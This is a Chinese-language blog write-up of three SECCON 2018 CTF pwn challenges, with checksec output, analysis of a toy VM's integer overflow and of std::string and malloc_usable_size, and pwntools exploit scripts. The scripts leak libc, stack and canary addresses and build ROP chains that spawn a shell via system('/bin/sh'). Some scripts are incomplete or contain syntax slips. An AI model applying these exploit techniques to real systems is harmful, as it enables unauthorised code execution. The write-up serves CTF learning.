骑麦兜看落日

[WriteUp]SECCONCTF

字数统计: 1.9k阅读时长: 9 min
2018/10/27 Share

PWN


Classic Pwn


题目信息

Host: classic.pwn.seccon.jp Port: 17354


程序分析

1
2
3
4
5
6
7
8
$ file classic.dms 
classic.dms: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped
$ checksec classic.dms
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

pwn入门题目,直接用以前脚本打


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'classic.dms'
lib = 'libc-2.23.so'
elf = ELF(exe)
libc = ELF(lib)
ip = 'classic.pwn.seccon.jp'
port = 17354

io = process(exe, env={"LD_PRELOAD":libc.path})
#io = remote(ip,port)

def gdb(script = ''):
attach(io,gdbscript = script)

p_rdi = 0x400753
padding = 'A'*0x40

payload = padding
payload += p64(0)
payload += p64(p_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.symbols['puts'])
payload += p64(elf.symbols['main'])

io.recvuntil('Local Buffer >>')
io.sendline(payload)
puts_addr = u64(io.recv(6))
io.recv()
print()

io.interactive()

kindvm


题目信息

Get hints, and pwn it! kindvm.pwn.seccon.jp 12345


程序分析

1
2
3
4
5
6
7
8
$ file kindvm.dms 
kindvm.dms: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8f9180cac21d47474ed903aea39dd56c7dc9f495, not stripped
$ checksec kindvm.dms
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题过程

首先给出各个函数的功能

0insn_nop

功能号 \x00 显示nop

1insn_load

功能号 \x01 将mem的值赋给reg
arg1 \x00 reg index
arg2 \x00\x00 mem index

[2]insn_store

功能号 \x02 将reg的值赋给mem
arg1 \x00\x00 mem index
arg2 \x00 reg index

[3]insn_mov

功能号 \x03 将arg2的值赋给arg1
arg1 \x00 reg index
arg2 \x00 reg index

[4]insn_add

hint:if the value<0,show hint3

功能号 \x04 arg1 += arg2
arg1 \x00 reg index
arg2 \x00 reg index

[5]insn_sub

功能号 \x05 arg1 -= arg2
arg1 \x00 reg index
arg2 \x00 reg index

[6]insn_halt

功能号 \x06 跳出循环

[7]insn_in

功能号 \x07 arg1 = arg2
arg1 \x00 reg index
arg2 \x00\x00\x00\x00 input value

[8]insn-out

功能号 \x08 显示reg的值
arg1 \x00 reg index

[9]isns_hint

功能号 \x09 显示hint2

闲着无聊先拿了三个hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'kindvm.dms'
lib = ''
ip = 'kindvm.pwn.seccon.jp'
port = 12345
elf = ELF(exe)

io = process(exe)

io.recvuntil('Input your name :')
io.sendline('A'*0x80)

io.recv()
io.interactive()

得到第一个hint

​ ‘Nice try! The theme of this binary is not Stack-Based BOF!\n’

​ ‘However, your name is not meaningless…\n’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'kindvm.dms'
lib = ''
ip = 'kindvm.pwn.seccon.jp'
port = 12345
elf = ELF(exe)

io = process(exe

io.recvuntil('Input your name :')
io.sendline('A')

io.recvuntil('Input instruction : ')
io.sendline('\x09')

io.recv()
io.interactive()

得到第二个hint

Nice try! You can analyze vm instruction and execute it!

Flag file name is “flag.txt”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'kindvm.dms'
lib = ''
ip = 'kindvm.pwn.seccon.jp'
port = 12345
elf = ELF(exe)

io = process(exe)

io.recvuntil('Input your name :')
io.sendline('A')

io.recvuntil('Input instruction : ')
payload = ''
payload += '\x07\x00\xcc\xcc\xcc\xcc'
payload += '\x04\x00\x01'
io.sendline(payload)

io.recv()
io.interactive()

得到第三个hint

Nice try! You can cause Integer Overflow!

The value became minus value. Minus value is important.

根据题目的提示大概就是负数溢出到name,然后拿到flag,方法有很多种


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'kindvm.dms'
lib = ''
ip = 'kindvm.pwn.seccon.jp'
port = 12345
elf = ELF(exe)
#libc = ELF(lib)

#io = process(exe)#, env={"LD_PRELOAD":libc.path})
io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

io.recvuntil('Input your name :')
io.sendline('flag.txt')

payload = ''
payload += '\x01\x00\xff\xd8'
payload += '\x02\xff\xdc\x00'
payload += '\x06'

io.recvuntil('Input instruction :')
io.sendline(payload)
io.interactive()

Profile


题目信息

Host: profile.pwn.seccon.jp Port: 28553


程序分析

1
2
3
4
5
6
7
8
$ file profile.dms 
profile.dms: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped
$ checksec profile.dms
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

这是一道cpp的pwn题,没有去符号并且没有开PIE


解题过程

程序的逻辑很简单

Name->Age->Message

接下来是一个循环

1
2
3
1 : update message
2 : show profile
0 : exit

本着对cpp的信任,自动忽略了栈溢出和格式化字符串漏洞

然后这道题就因为没有漏洞结束了

没有洞是不可能的,这辈子都不会没有洞的

首先涉及到cpp中std::stringSSO优化的工作

g++<5时

member
size 字符串长度
capacity string空间的容量
reference count 引用计数
value 字符串

g++大于5时,取消了reference count

member
data pointer 指向data位置
size 分配出去string的长度
union size<=15时被用来存data,size>15时被用来记录capacity

然后需要关注一下函数malloc_usable_size()函数

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
------------------------- malloc_usable_size -------------------------
*/

static size_t
musable (void *mem)
{
mchunkptr p;
if (mem != 0)
{
p = mem2chunk (mem);

if (__builtin_expect (using_malloc_checking == 1, 0))
return malloc_check_get_size (p);

if (chunk_is_mmapped (p))
return chunksize (p) - 2 * SIZE_SZ;
else if (inuse (p))
return chunksize (p) - SIZE_SZ;
}
return 0;
}


size_t
__malloc_usable_size (void *m)
{
size_t result;

result = musable (m);
return result;
}

这个函数没有对size进行检查

mmap位为1时,返回值为chunksize (p) - 2 * SIZE_SZ;

inuse为1时,返回值为chunksize (p) - SIZE_SZ

了解了这两点之后这道题就很轻松了

我们可以将size控制在小于16,并且mmap位于inuse位至少有一位为1,这样会得到一个很大的数值从而造成溢出

这样我们只要泄漏出libc地址与canary就可以getshell了

剩下的是一些爬坑的经历

首先不能通过溢出Message来直接leak,因为string的结构中data在size下面,我们无法控制size,所以leak出的字节小于16,没有卵用

但是我们可以劫持Message下的Name指针来leak,只要构造好它的size就行了

然后是canary的leak,因为canary在栈上,但是无法直接获得栈地址,也就无法leak出栈上的数据

这里学到了一个新姿势,libc中有一个environ保存了栈的地址,这样就可以通过libc来leak栈的地址从而得到canary

最后一个坑在

1
Profile::~Profile((Profile *)&this);

程序在析构的时候出错,开始以为是破坏了堆结构,但是无论怎么重新构造堆都无法解决

后来想到,SSO优化是g++的机制,当字节小于16的时候字符串本来就不是堆的结构,它被破坏了关我卵事

delete在释放的时候肯定也是做过相关优化的

然后发现析构函数里边释放了MessageName两块内存,所以只要构造好这两个指针就好了

这里有些古怪的事情,构造的两个指针必须是它原来的指针,但是size的大小随意,这里可能还有一些其他的玄学吧


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'profile.dms'
lib = 'libc-2.23.so'
ip = 'profile.pwn.seccon.jp'
port = 28553
elf = ELF(exe)
libc = ELF(lib)

io = process(exe, env={"LD_PRELOAD":libc.path})
#io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

#gdb('b * 0x4013DA')

def name():
io.recvuntil('Name >> ')
io.sendline('ls')

def age():
io.recvuntil('Age >> ')
io.sendline('18')

def message():
io.recvuntil('Message >> ')
io.sendline('A'*6)

def update(text):
io.recvuntil('0 : exit')
io.sendline('1')
io.recvuntil('Input new message >> ')
io.sendline(text)

def show():
io.recvuntil('0 : exit')
io.sendline('2')

def leak(addr):
payload = ''
payload += 'A'*0x10
payload += p64(addr)
payload += p64(8)
update(payload)
show()
io.recvuntil('Name : ')
return u64(io.recv(8))

name()
age()
message()

libc_addr = leak(elf.got['read']) - 0xf7250
stack_addr = leak(libc_addr+libc.symbols['environ'])
canary = leak(stack_addr-0x110)

p_rdi = 0x401713
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh').next()

payload = ''
payload += 'A'*0x10
payload += p64(stack_addr-0x128)
payload += 'B'*0x20
payload += p64(canary)
payload += 'C'*0x18
payload += p64(p_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

update(payload)
io.recvuntil('0 : exit')
io.sendline('0')
io.recvuntil('Wrong input...\n')
io.interactive()

相关资料

CATALOG
  1. 1. PWN
    1. 1.1. Classic Pwn
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
    2. 1.2. kindvm
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
    3. 1.3. Profile
      1. 1.3.1. 题目信息
      2. 1.3.2. 程序分析
      3. 1.3.3. 解题过程
      4. 1.3.4. EXP
      5. 1.3.5. 相关资料